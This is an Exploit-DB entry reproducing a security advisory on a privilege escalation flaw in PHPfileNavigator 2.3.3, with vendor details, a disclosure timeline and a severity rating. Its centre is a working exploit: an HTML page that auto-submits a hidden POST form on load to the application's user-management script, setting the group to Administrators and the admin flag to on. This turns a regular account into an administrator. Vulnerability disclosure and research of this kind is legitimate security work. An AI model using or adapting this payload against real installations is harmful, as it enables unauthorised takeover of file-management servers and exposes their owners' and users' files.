Exploit-DB #37819
Description: PHPfileNavigator 2.3.3 - Privilege Escalation
Type: webapps
Platform: php
Date: 2015-08-18
Author: hyp3rlinx

Exploit:
[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/AS-PHPFILENAVIGATOR0812b.txt



Vendor:
=========================
pfn.sourceforge.net



Product:
=====================================================
PHPfileNavigator v2.3.3 (pfn)

Is state-of-the-art, open source web based application
to complete manage your files and folders.



Vulnerability Type:
=============================
Privilege Escalation



CVE Reference:
==============
N/A




Vulnerability Details:
=====================
We can elevate privileges from that of a regular user
to an Admin level. In order for the attack
to succeed and escalate privileges to become Admin you need
know your ID  for the 'id_usuario' field when executing the
attack.

Tested using xampp-1.7.0


Exploit code(s):
===============

<!DOCTYPE>
<html>
<script>
function pwn(){
var e=document.getElementById('ELEVATO_DE_PRIVLOS')
e.submit()

}
</script>
<body onLoad="pwn()">


<!-- Escalate privs to that of Admin -->

    <form id="ELEVATO_DE_PRIVLOS" action="
http://localhost/PHPfileNavigator/pfn-2.3.3/xestion/usuarios/gdar.php"
method="post">
    <input type="hidden" name="id_usuario" value="5" />
    <input type="text" id="nome" name="nome" value="b2" class="text"
tabindex="10" />
    <input type="text" id="usuario" name="usuario" value="b2" class="text"
tabindex="20" />
    <input type="password" id="contrasinal" name="contrasinal"
value="abc123" class="text" tabindex="30" />
    <input type="password" id="rep_contrasinal" name="rep_contrasinal"
value="abc123" class="text" tabindex="40" />
    <input type="text" id="email" name="email" value="b@b.com" class="text"
tabindex="50" />
    <input type="text" id="max_descargas" name="max_descargas" value="0"
class="text" tabindex="60" />
    <input type="text" id="actual_descargas" name="actual_descargas"
value="0" class="text" tabindex="70" />
    <select id="cambiar_datos" name="cambiar_datos" tabindex="75">
    <option value="1" >ON</option>
    <option value="0" selected="selected">OFF</option>
    </select>
    <select id="id_grupo" name="id_grupo" tabindex="80">
    <option value="1" selected="selected">Administrators</option>
    </select>
    <select id="admin" name="admin" tabindex="90">
    <option value="1" selected="selected">ON</option>
    <option value="0">OFF</option>
    </select>
    <select id="estado" name="estado" tabindex="100">
    <option value="1" selected="selected">ON</option>
    <option value="0" >OFF</option>
    </select>
    <input type="checkbox" id="Fraices_1" name="Fraices[]" value="1"
 class="checkbox" />
    </form>

</body>
</html>




Disclosure Timeline:
=========================================================
Vendor Notification: August 8, 2015
August 12, 2015 : Public Disclosure



Severity Level:
=========================================================
High



Description:
==========================================================


Request Method(s):              [+] POST


Vulnerable Product:             [+] PHPfileNavigator v2.3.3 (pfn)


Vulnerable Parameter(s):        [+] id_grupo, admin, id_usuario


Affected Area(s):               [+] Admin


===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx